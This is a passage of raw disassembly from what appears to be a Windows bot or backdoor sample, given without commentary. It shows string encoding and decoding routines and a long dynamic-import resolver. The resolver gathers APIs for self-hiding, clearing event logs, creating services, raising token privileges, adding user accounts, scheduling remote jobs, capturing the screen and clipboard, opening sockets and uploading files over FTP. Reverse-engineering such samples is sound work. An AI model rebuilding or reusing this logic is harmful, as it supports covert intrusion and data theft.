mov [ebp+var_4], eax
jz short loc_41706E
loc_417068: ; CODE XREF: sub_417010+5Cj
inc edi
cmp byte ptr [edi], 0
jnz short loc_417068
loc_41706E: ; CODE XREF: sub_417010+56j
xor eax, eax
lea ecx, [ebp+var_C]
stosd
stosd
call sub_4167BC
push [ebp+arg_0]
call esi ; dword_437088
push eax
lea ecx, [ebp+var_C]
push [ebp+arg_0]
call sub_416ED6
cmp byte ptr [ebx], 0
mov edi, [ebp+var_4]
mov esi, ebx
jz loc_41712E
loc_417099: ; CODE XREF: sub_417010+118j
movzx eax, byte ptr [esi]
shl eax, 18h
inc esi
movzx ecx, byte ptr [esi]
shl ecx, 10h
add eax, ecx
inc esi
movzx ecx, byte ptr [esi]
shl ecx, 8
add eax, ecx
inc esi
movzx ecx, byte ptr [esi]
add eax, ecx
inc esi
mov [ebp+arg_0], eax
movzx eax, byte ptr [esi]
shl eax, 18h
inc esi
movzx ecx, byte ptr [esi]
shl ecx, 10h
add eax, ecx
inc esi
movzx ecx, byte ptr [esi]
shl ecx, 8
add eax, ecx
inc esi
movzx ecx, byte ptr [esi]
add eax, ecx
lea ecx, [ebp+var_C]
mov [ebp+arg_4], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
inc esi
call sub_4167F2
push 6
pop eax
loc_4170F0: ; CODE XREF: sub_417010+F7j
mov ecx, [ebp+arg_4]
mov edx, off_442B48
shr [ebp+arg_4], 6
and ecx, 3Fh
mov cl, [ecx+edx]
mov [edi], cl
inc edi
dec eax
jnz short loc_4170F0
push 6
pop eax
loc_41710C: ; CODE XREF: sub_417010+113j
mov ecx, [ebp+arg_0]
mov edx, off_442B48
shr [ebp+arg_0], 6
and ecx, 3Fh
mov cl, [ecx+edx]
mov [edi], cl
inc edi
dec eax
jnz short loc_41710C
cmp byte ptr [esi], 0
jnz loc_417099
loc_41712E: ; CODE XREF: sub_417010+83j
and byte ptr [edi], 0
push ebx
call sub_429006
pop ecx
lea ecx, [ebp+var_C]
call sub_4167DC
mov eax, [ebp+var_4]
pop edi
jmp short loc_417148
; ---------------------------------------------------------------------------
loc_417146: ; CODE XREF: sub_417010+2Ej
; sub_417010+37j
mov eax, ebx
loc_417148: ; CODE XREF: sub_417010+134j
pop esi
pop ebx
leave
retn
sub_417010 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41714C proc near ; CODE XREF: sub_41557B+1Ep
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push [ebp+arg_4]
mov esi, dword_437088
call esi ; dword_437088
add eax, 0Ch
push eax
call sub_42B407
pop ecx
mov ebx, eax
push [ebp+arg_4]
mov [ebp+var_8], ebx
push ebx
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_0]
test eax, eax
jz loc_417296
cmp byte ptr [eax], 0
jz loc_417296
push edi
mov edi, ebx
push [ebp+arg_4]
call esi ; dword_437088
add eax, 0Ch
push eax
call sub_42B407
cmp byte ptr [ebx], 0
pop ecx
mov [ebp+var_4], eax
jz short loc_4171AC
loc_4171A6: ; CODE XREF: sub_41714C+5Ej
inc edi
cmp byte ptr [edi], 0
jnz short loc_4171A6
loc_4171AC: ; CODE XREF: sub_41714C+58j
xor eax, eax
lea ecx, [ebp+var_10]
stosd
stosd
stosd
call sub_4167BC
push [ebp+arg_0]
call esi ; dword_437088
push eax
lea ecx, [ebp+var_10]
push [ebp+arg_0]
call sub_416ED6
cmp byte ptr [ebx], 0
mov esi, [ebp+var_4]
mov edi, ebx
jz loc_41727E
loc_4171D8: ; CODE XREF: sub_41714C+129j
and [ebp+arg_0], 0
and [ebp+arg_4], 0
xor edx, edx
loc_4171E2: ; CODE XREF: sub_41714C+ADj
mov al, [edi]
inc edi
push eax
call sub_416FF6
pop ecx
mov ecx, edx
add edx, 6
shl eax, cl
or [ebp+arg_0], eax
cmp edx, 24h
jl short loc_4171E2
xor edx, edx
loc_4171FD: ; CODE XREF: sub_41714C+C8j
mov al, [edi]
inc edi
push eax
call sub_416FF6
pop ecx
mov ecx, edx
add edx, 6
shl eax, cl
or [ebp+arg_4], eax
cmp edx, 24h
jl short loc_4171FD
lea eax, [ebp+arg_0]
lea ecx, [ebp+var_10]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_416B63
push 18h
xor edx, edx
pop eax
loc_41722B: ; CODE XREF: sub_41714C+FEj
mov ebx, 0FFh
mov ecx, eax
shl ebx, cl
push 18h
sub eax, 8
pop ecx
sub ecx, edx
add edx, 8
and ebx, [ebp+arg_4]
shr ebx, cl
mov [esi], bl
inc esi
cmp eax, 0FFFFFFF8h
jg short loc_41722B
push 18h
xor edx, edx
pop eax
loc_417251: ; CODE XREF: sub_41714C+124j
mov ebx, 0FFh
mov ecx, eax
shl ebx, cl
push 18h
sub eax, 8
pop ecx
sub ecx, edx
add edx, 8
and ebx, [ebp+arg_0]
shr ebx, cl
mov [esi], bl
inc esi
cmp eax, 0FFFFFFF8h
jg short loc_417251
cmp byte ptr [edi], 0
jnz loc_4171D8
mov ebx, [ebp+var_8]
loc_41727E: ; CODE XREF: sub_41714C+86j
and byte ptr [esi], 0
push ebx
call sub_429006
pop ecx
lea ecx, [ebp+var_10]
call sub_4167DC
mov eax, [ebp+var_4]
pop edi
jmp short loc_417298
; ---------------------------------------------------------------------------
loc_417296: ; CODE XREF: sub_41714C+31j
; sub_41714C+3Aj
mov eax, ebx
loc_417298: ; CODE XREF: sub_41714C+148j
pop esi
pop ebx
leave
retn
sub_41714C endp
; =============== S U B R O U T I N E =======================================
sub_41729C proc near ; CODE XREF: sub_418D49+Ap
push ebx
push ebp
mov ebp, dword_437070
push esi
push edi
push offset aKernel32_dll_0 ; "kernel32.dll"
call ebp ; dword_437070
mov esi, dword_437030
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_4173C8
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; dword_437030
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_456FE4, eax
call esi ; dword_437030
push offset aProcess32first ; "Process32First"
push edi
mov dword_456F40, eax
call esi ; dword_437030
push offset aProcess32next ; "Process32Next"
push edi
mov dword_456F1C, eax
call esi ; dword_437030
push offset aModule32first ; "Module32First"
push edi
mov dword_456DEC, eax
call esi ; dword_437030
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_456D90, eax
call esi ; dword_437030
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_456DBC, eax
call esi ; dword_437030
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_456E4C, eax
call esi ; dword_437030
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_456F88, eax
call esi ; dword_437030
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_457000, eax
call esi ; dword_437030
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_456DFC, eax
call esi ; dword_437030
push offset aGetcomputernam ; "GetComputerNameA"
push edi
mov dword_456DD8, eax
call esi ; dword_437030
cmp dword_456FE4, ebx
mov dword_456F70, eax
jz short loc_4173AF
cmp dword_456F40, ebx
jz short loc_4173AF
cmp dword_456F1C, ebx
jz short loc_4173AF
cmp dword_456DEC, ebx
jz short loc_4173AF
cmp dword_456DBC, ebx
jz short loc_4173AF
cmp dword_456E4C, ebx
jz short loc_4173AF
cmp dword_456F88, ebx
jz short loc_4173AF
cmp dword_457000, ebx
jz short loc_4173AF
cmp dword_456DFC, ebx
jz short loc_4173AF
cmp dword_456DD8, ebx
jz short loc_4173AF
cmp eax, ebx
jnz short loc_4173B9
loc_4173AF: ; CODE XREF: sub_41729C+C5j
; sub_41729C+CDj ...
mov dword_457004, 1
loc_4173B9: ; CODE XREF: sub_41729C+111j
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; dword_437030
mov dword_456F54, eax
jmp short loc_4173DD
; ---------------------------------------------------------------------------
loc_4173C8: ; CODE XREF: sub_41729C+1Dj
call dword_43716C ; RtlGetLastWin32Error
mov dword_457008, eax
mov dword_457004, 1
loc_4173DD: ; CODE XREF: sub_41729C+12Aj
push offset aUser32_dll ; "user32.dll"
call dword_437034 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_417531
push offset aClosewindow ; "CloseWindow"
push edi
call esi ; dword_437030
push offset aSendmessagea ; "SendMessageA"
push edi
mov dword_456E60, eax
call esi ; dword_437030
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_456F7C, eax
call esi ; dword_437030
push offset aIswindow ; "IsWindow"
push edi
mov dword_456F24, eax
call esi ; dword_437030
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_456E90, eax
call esi ; dword_437030
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_456FE8, eax
call esi ; dword_437030
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_456ED4, eax
call esi ; dword_437030
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_456F04, eax
call esi ; dword_437030
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_456F74, eax
call esi ; dword_437030
cmp dword_456E60, ebx
mov dword_456E1C, eax
jz short loc_4174AB
cmp dword_456F7C, ebx
jz short loc_4174AB
cmp dword_456F24, ebx
jz short loc_4174AB
cmp dword_456E90, ebx
jz short loc_4174AB
cmp dword_456FE8, ebx
jz short loc_4174AB
cmp dword_456ED4, ebx
jz short loc_4174AB
cmp dword_456F04, ebx
jz short loc_4174AB
cmp dword_456F74, ebx
jz short loc_4174AB
cmp eax, ebx
jnz short loc_4174B5
loc_4174AB: ; CODE XREF: sub_41729C+1D1j
; sub_41729C+1D9j ...
mov dword_45700C, 1
loc_4174B5: ; CODE XREF: sub_41729C+20Dj
push offset aEnumwindows ; "EnumWindows"
push edi
call esi ; dword_437030
push offset aGetwindowinfo ; "GetWindowInfo"
push edi
mov dword_456FCC, eax
call esi ; dword_437030
push offset aGetwindowthrea ; "GetWindowThreadProcessId"
push edi
mov dword_456EA8, eax
call esi ; dword_437030
push offset aShowwindow ; "ShowWindow"
push edi
mov dword_456DCC, eax
call esi ; dword_437030
push offset aIswindowvisibl ; "IsWindowVisible"
push edi
mov dword_456EAC, eax
call esi ; dword_437030
push offset aGetclassnamea ; "GetClassNameA"
push edi
mov dword_456ED8, eax
call esi ; dword_437030
cmp dword_456FCC, ebx
mov dword_456FF4, eax
jz short loc_41753C
cmp dword_456EA8, ebx
jz short loc_41753C
cmp dword_456DCC, ebx
jz short loc_41753C
cmp dword_456EAC, ebx
jz short loc_41753C
cmp dword_456ED8, ebx
jz short loc_41753C
cmp eax, ebx
jnz short loc_417546
jmp short loc_41753C
; ---------------------------------------------------------------------------
loc_417531: ; CODE XREF: sub_41729C+150j
call dword_43716C ; RtlGetLastWin32Error
mov dword_457010, eax
loc_41753C: ; CODE XREF: sub_41729C+26Dj
; sub_41729C+275j ...
mov dword_45700C, 1
loc_417546: ; CODE XREF: sub_41729C+291j
push offset aAdvapi32_dll ; "advapi32.dll"
call dword_437034 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_417838
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; dword_437030
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_456FA0, eax
call esi ; dword_437030
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_456EB4, eax
call esi ; dword_437030
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_456F44, eax
call esi ; dword_437030
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_456DD0, eax
call esi ; dword_437030
push offset aRegdeletekeya ; "RegDeleteKeyA"
push edi
mov dword_456E44, eax
call esi ; dword_437030
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_456E78, eax
call esi ; dword_437030
push offset aRegenumkeyexa ; "RegEnumKeyExA"
push edi
mov dword_456EE8, eax
call esi ; dword_437030
push offset aRegenumvaluea ; "RegEnumValueA"
push edi
mov dword_456E48, eax
call esi ; dword_437030
push offset aRegqueryinfoke ; "RegQueryInfoKeyA"
push edi
mov dword_456DE4, eax
call esi ; dword_437030
cmp dword_456FA0, ebx
mov dword_456EA4, eax
jz short loc_417621
cmp dword_456EB4, ebx
jz short loc_417621
cmp dword_456F44, ebx
jz short loc_417621
cmp dword_456DD0, ebx
jz short loc_417621
cmp dword_456E44, ebx
jz short loc_417621
cmp dword_456E78, ebx
jz short loc_417621
cmp dword_456EE8, ebx
jz short loc_417621
cmp dword_456DE4, ebx
jz short loc_417621
cmp eax, ebx
jnz short loc_41762B
loc_417621: ; CODE XREF: sub_41729C+347j
; sub_41729C+34Fj ...
mov dword_457014, 1
loc_41762B: ; CODE XREF: sub_41729C+383j
push offset aOpenthreadtoke ; "OpenThreadToken"
push edi
call esi ; dword_437030
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
mov dword_456E28, eax
call esi ; dword_437030
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_456EF8, eax
call esi ; dword_437030
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_456EBC, eax
call esi ; dword_437030
cmp dword_456E28, ebx
mov dword_456F94, eax
jz short loc_41767B
cmp dword_456EF8, ebx
jz short loc_41767B
cmp dword_456EBC, ebx
jz short loc_41767B
cmp eax, ebx
jnz short loc_417685
loc_41767B: ; CODE XREF: sub_41729C+3C9j
; sub_41729C+3D1j ...
mov dword_457014, 1
loc_417685: ; CODE XREF: sub_41729C+3DDj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; dword_437030
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_456F08, eax
call esi ; dword_437030
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_456DA8, eax
call esi ; dword_437030
push offset aControlservice ; "ControlService"
push edi
mov dword_456DB0, eax
call esi ; dword_437030
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_456E24, eax
call esi ; dword_437030
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_456E30, eax
call esi ; dword_437030
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_456DC4, eax
call esi ; dword_437030
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_456EC0, eax
call esi ; dword_437030
push offset aCreateservicea ; "CreateServiceA"
push edi
mov dword_456DB4, eax
call esi ; dword_437030
push offset aStartservicect ; "StartServiceCtrlDispatcherA"
push edi
mov dword_456F98, eax
call esi ; dword_437030
push offset aImpersonatelog ; "ImpersonateLoggedOnUser"
push edi
mov dword_456FFC, eax
call esi ; dword_437030
push offset aLockservicedat ; "LockServiceDatabase"
push edi
mov dword_456FEC, eax
call esi ; dword_437030
push offset aQueryservicelo ; "QueryServiceLockStatusA"
push edi
mov dword_456DE0, eax
call esi ; dword_437030
push offset aChangeservicec ; "ChangeServiceConfig2A"
push edi
mov dword_456E68, eax
call esi ; dword_437030
push offset aUnlockserviced ; "UnlockServiceDatabase"
push edi
mov dword_456FF0, eax
call esi ; dword_437030
push offset aRegisterserv_0 ; "RegisterServiceCtrlHandlerA"
push edi
mov dword_456F34, eax
call esi ; dword_437030
push offset aSetservicestat ; "SetServiceStatus"
push edi
mov dword_456F30, eax
call esi ; dword_437030
cmp dword_456F08, ebx
mov dword_456E50, eax
jz short loc_4177D6
cmp dword_456DA8, ebx
jz short loc_4177D6
cmp dword_456DB0, ebx
jz short loc_4177D6
cmp dword_456E24, ebx
jz short loc_4177D6
cmp dword_456E30, ebx
jz short loc_4177D6
cmp dword_456DC4, ebx
jz short loc_4177D6
cmp dword_456EC0, ebx
jz short loc_4177D6
cmp dword_456DB4, ebx
jz short loc_4177D6
cmp dword_456FEC, ebx
jz short loc_4177D6
cmp dword_456DE0, ebx
jz short loc_4177D6
cmp dword_456E68, ebx
jz short loc_4177D6
cmp dword_456FF0, ebx
jz short loc_4177D6
cmp dword_456F34, ebx
jz short loc_4177D6
cmp dword_456F30, ebx
jz short loc_4177D6
cmp eax, ebx
jnz short loc_4177E0
loc_4177D6: ; CODE XREF: sub_41729C+4CCj
; sub_41729C+4D4j ...
mov dword_457014, 1
loc_4177E0: ; CODE XREF: sub_41729C+538j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; dword_437030
cmp eax, ebx
mov dword_456DAC, eax
jnz short loc_4177FB
mov dword_457014, 1
loc_4177FB: ; CODE XREF: sub_41729C+553j
push offset aCleareventloga ; "ClearEventLogA"
push edi
call esi ; dword_437030
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_456E80, eax
call esi ; dword_437030
push offset aCloseeventlog ; "CloseEventLog"
push edi
mov dword_456E70, eax
call esi ; dword_437030
cmp dword_456E80, ebx
mov dword_456E2C, eax
jz short loc_417843
cmp dword_456E70, ebx
jz short loc_417843
cmp eax, ebx
jnz short loc_41784D
jmp short loc_417843
; ---------------------------------------------------------------------------
loc_417838: ; CODE XREF: sub_41729C+2B9j
call dword_43716C ; RtlGetLastWin32Error
mov dword_45701C, eax
loc_417843: ; CODE XREF: sub_41729C+58Cj
; sub_41729C+594j ...
mov dword_457014, 1
loc_41784D: ; CODE XREF: sub_41729C+598j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; dword_437070
mov edi, eax
cmp edi, ebx
jz loc_417919
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; dword_437030
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_456F00, eax
call esi ; dword_437030
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_456F60, eax
call esi ; dword_437030
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_456F68, eax
call esi ; dword_437030
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_456F20, eax
call esi ; dword_437030
push offset aSelectobject ; "SelectObject"
push edi
mov dword_456E04, eax
call esi ; dword_437030
push offset aBitblt ; "BitBlt"
push edi
mov dword_456DA0, eax
call esi ; dword_437030
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_456F64, eax
call esi ; dword_437030
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_456D8C, eax
call esi ; dword_437030
cmp dword_456F00, ebx
mov dword_456E3C, eax
jz short loc_417924
cmp dword_456F60, ebx
jz short loc_417924
cmp dword_456F68, ebx
jz short loc_417924
cmp dword_456F20, ebx
jz short loc_417924
cmp dword_456E04, ebx
jz short loc_417924
cmp dword_456DA0, ebx
jz short loc_417924
cmp dword_456F64, ebx
jz short loc_417924
cmp dword_456D8C, ebx
jz short loc_417924
cmp eax, ebx
jnz short loc_41792E
jmp short loc_417924
; ---------------------------------------------------------------------------
loc_417919: ; CODE XREF: sub_41729C+5BCj
call dword_43716C ; RtlGetLastWin32Error
mov dword_457024, eax
loc_417924: ; CODE XREF: sub_41729C+63Dj
; sub_41729C+645j ...
mov dword_457020, 1
loc_41792E: ; CODE XREF: sub_41729C+679j
mov ebp, dword_437034
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; dword_437034
mov edi, eax
cmp edi, ebx
jz loc_417BFB
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; dword_437030
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_456E58, eax
call esi ; dword_437030
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_456FDC, eax
call esi ; dword_437030
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_456DE8, eax
call esi ; dword_437030
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_456DB8, eax
call esi ; dword_437030
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_456EA0, eax
call esi ; dword_437030
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_456E84, eax
call esi ; dword_437030
push offset aSocket ; "socket"
push edi
mov dword_456E38, eax
call esi ; dword_437030
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_456FB0, eax
call esi ; dword_437030
push offset aConnect ; "connect"
push edi
mov dword_456FD4, eax
call esi ; dword_437030
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_456E9C, eax
call esi ; dword_437030
push offset aInet_addr ; "inet_addr"
push edi
mov dword_456FBC, eax
call esi ; dword_437030
push offset aHtons ; "htons"
push edi
mov dword_456F5C, eax
call esi ; dword_437030
push offset aHtonl ; "htonl"
push edi
mov dword_456F18, eax
call esi ; dword_437030
push offset aNtohs ; "ntohs"
push edi
mov dword_456F14, eax
call esi ; dword_437030
push offset aNtohl ; "ntohl"
push edi
mov dword_456E10, eax
call esi ; dword_437030
push offset aSend ; "send"
push edi
mov dword_456E08, eax
call esi ; dword_437030
push offset aSendto ; "sendto"
push edi
mov dword_456F6C, eax
call esi ; dword_437030
push offset aRecv ; "recv"
push edi
mov dword_456F8C, eax
call esi ; dword_437030
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_456F38, eax
call esi ; dword_437030
mov dword_456EE4, eax
push offset aBind ; "bind"
push edi
call esi ; dword_437030
push offset aSelect ; "select"
push edi
mov dword_456F4C, eax
call esi ; dword_437030
push offset aListen ; "listen"
push edi
mov dword_456EFC, eax
call esi ; dword_437030
push offset aAccept ; "accept"
push edi
mov dword_456F48, eax
call esi ; dword_437030
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_456FC4, eax
call esi ; dword_437030
push offset aGetsockname ; "getsockname"
push edi
mov dword_456EF0, eax
call esi ; dword_437030
push offset aGethostname ; "gethostname"
push edi
mov dword_456E98, eax
call esi ; dword_437030
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_456F2C, eax
call esi ; dword_437030
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_456FB4, eax
call esi ; dword_437030
push offset aGetpeername ; "getpeername"
push edi
mov dword_456EB8, eax
call esi ; dword_437030
push offset aClosesocket ; "closesocket"
push edi
mov dword_456E34, eax
call esi ; dword_437030
push offset aShutdown ; "shutdown"
push edi
mov dword_456FD0, eax
call esi ; dword_437030
cmp dword_456E58, ebx
mov dword_456FC8, eax
jz loc_417C06
cmp dword_456FDC, ebx
jz loc_417C06
cmp dword_456DE8, ebx
jz loc_417C06
cmp dword_456EA0, ebx
jz loc_417C06
cmp dword_456E84, ebx
jz loc_417C06
cmp dword_456E38, ebx
jz loc_417C06
cmp dword_456FB0, ebx
jz loc_417C06
cmp dword_456FD4, ebx
jz loc_417C06
cmp dword_456E9C, ebx
jz loc_417C06
cmp dword_456FBC, ebx
jz loc_417C06
cmp dword_456F5C, ebx
jz loc_417C06
cmp dword_456F18, ebx
jz loc_417C06
cmp dword_456F14, ebx
jz loc_417C06
cmp dword_456E10, ebx
jz short loc_417C06
cmp dword_456F6C, ebx
jz short loc_417C06
cmp dword_456F8C, ebx
jz short loc_417C06
cmp dword_456F38, ebx
jz short loc_417C06
cmp dword_456EE4, ebx
jz short loc_417C06
cmp dword_456F4C, ebx
jz short loc_417C06
cmp dword_456EFC, ebx
jz short loc_417C06
cmp dword_456F48, ebx
jz short loc_417C06
cmp dword_456FC4, ebx
jz short loc_417C06
cmp dword_456EF0, ebx
jz short loc_417C06
cmp dword_456E98, ebx
jz short loc_417C06
cmp dword_456F2C, ebx
jz short loc_417C06
cmp dword_456FB4, ebx
jz short loc_417C06
cmp dword_456EB8, ebx
jz short loc_417C06
cmp dword_456FD0, ebx
jnz short loc_417C10
jmp short loc_417C06
; ---------------------------------------------------------------------------
loc_417BFB: ; CODE XREF: sub_41729C+6A3j
call dword_43716C ; RtlGetLastWin32Error
mov dword_45702C, eax
loc_417C06: ; CODE XREF: sub_41729C+84Fj
; sub_41729C+85Bj ...
mov dword_457028, 1
loc_417C10: ; CODE XREF: sub_41729C+95Bj
push offset aWininet_dll ; "wininet.dll"
call ebp ; dword_437034
mov edi, eax
cmp edi, ebx
jz loc_417D2F
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; dword_437030
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_456E18, eax
call esi ; dword_437030
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_456D94, eax
call esi ; dword_437030
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_456ED0, eax
call esi ; dword_437030
push offset aFtpgetfilea ; "FtpGetFileA"
push edi
mov dword_456E5C, eax
call esi ; dword_437030
push offset aFtpputfilea ; "FtpPutFileA"
push edi
mov dword_456DF8, eax
call esi ; dword_437030
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_456F9C, eax
call esi ; dword_437030
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_456EE0, eax
call esi ; dword_437030
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_456E88, eax
call esi ; dword_437030
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_456DD4, eax
call esi ; dword_437030
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_456DC8, eax
call esi ; dword_437030
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_456DDC, eax
call esi ; dword_437030
cmp dword_456E18, ebx
mov ecx, dword_456E88
mov dword_456F50, eax
jz short loc_417D0B
cmp dword_456D94, ebx
jz short loc_417D0B
cmp dword_456ED0, ebx
jz short loc_417D0B
cmp dword_456E5C, ebx
jz short loc_417D0B
cmp dword_456EE0, ebx
jz short loc_417D0B
cmp ecx, ebx
jz short loc_417D0B
cmp dword_456DD4, ebx
jz short loc_417D0B
cmp dword_456DC8, ebx
jz short loc_417D0B
cmp dword_456DDC, ebx
jz short loc_417D0B
cmp eax, ebx
jnz short loc_417D15
loc_417D0B: ; CODE XREF: sub_41729C+A2Dj
; sub_41729C+A35j ...
mov dword_457030, 1
loc_417D15: ; CODE XREF: sub_41729C+A6Dj
cmp ecx, ebx
jz short loc_417D4A
push ebx
push ebx
push ebx
push ebx
push offset aMozilla5_0 ; "Mozilla/5.0"
call ecx ; dword_456E88
cmp eax, ebx
mov dword_456EB0, eax
jnz short loc_417D4A
jmp short loc_417D44
; ---------------------------------------------------------------------------
loc_417D2F: ; CODE XREF: sub_41729C+97Fj
call dword_43716C ; RtlGetLastWin32Error
mov dword_457034, eax
mov dword_457030, 1
loc_417D44: ; CODE XREF: sub_41729C+A91j
mov dword_456EB0, ebx
loc_417D4A: ; CODE XREF: sub_41729C+A7Bj
; sub_41729C+A8Fj
push offset aIcmp_dll ; "icmp.dll"
call ebp ; dword_437034
mov edi, eax
cmp edi, ebx
jz short loc_417D94
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; dword_437030
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_456E74, eax
call esi ; dword_437030
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_456FF8, eax
call esi ; dword_437030
cmp dword_456E74, ebx
mov dword_456DF0, eax
jz short loc_417D9F
cmp dword_456FF8, ebx
jz short loc_417D9F
cmp eax, ebx
jnz short loc_417DA9
jmp short loc_417D9F
; ---------------------------------------------------------------------------
loc_417D94: ; CODE XREF: sub_41729C+AB9j
call dword_43716C ; RtlGetLastWin32Error
mov dword_45703C, eax
loc_417D9F: ; CODE XREF: sub_41729C+AE8j
; sub_41729C+AF0j ...
mov dword_457038, 1
loc_417DA9: ; CODE XREF: sub_41729C+AF4j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; dword_437034
mov edi, eax
cmp edi, ebx
jz loc_417E9F
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; dword_437030
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_456DC0, eax
call esi ; dword_437030
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_456D9C, eax
call esi ; dword_437030
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_456E20, eax
call esi ; dword_437030
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_456E64, eax
call esi ; dword_437030
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_456FC0, eax
call esi ; dword_437030
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_456E0C, eax
call esi ; dword_437030
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_456DA4, eax
call esi ; dword_437030
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_456D98, eax
call esi ; dword_437030
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_456E40, eax
call esi ; dword_437030
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_456F78, eax
call esi ; dword_437030
cmp dword_456DC0, ebx
mov dword_456F28, eax
jz short loc_417EAA
cmp dword_456D9C, ebx
jz short loc_417EAA
cmp dword_456E20, ebx
jz short loc_417EAA
cmp dword_456E64, ebx
jz short loc_417EAA
cmp dword_456FC0, ebx
jz short loc_417EAA
cmp dword_456E0C, ebx
jz short loc_417EAA
cmp dword_456DA4, ebx
jz short loc_417EAA
cmp dword_456D98, ebx
jz short loc_417EAA
cmp dword_456E40, ebx
jz short loc_417EAA
cmp dword_456F78, ebx
jz short loc_417EAA
cmp eax, ebx
jnz short loc_417EB4
jmp short loc_417EAA
; ---------------------------------------------------------------------------
loc_417E9F: ; CODE XREF: sub_41729C+B18j
call dword_43716C ; RtlGetLastWin32Error
mov dword_457044, eax
loc_417EAA: ; CODE XREF: sub_41729C+BB3j
; sub_41729C+BBBj ...
mov dword_457040, 1
loc_417EB4: ; CODE XREF: sub_41729C+BFFj
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; dword_437034
mov edi, eax
cmp edi, ebx
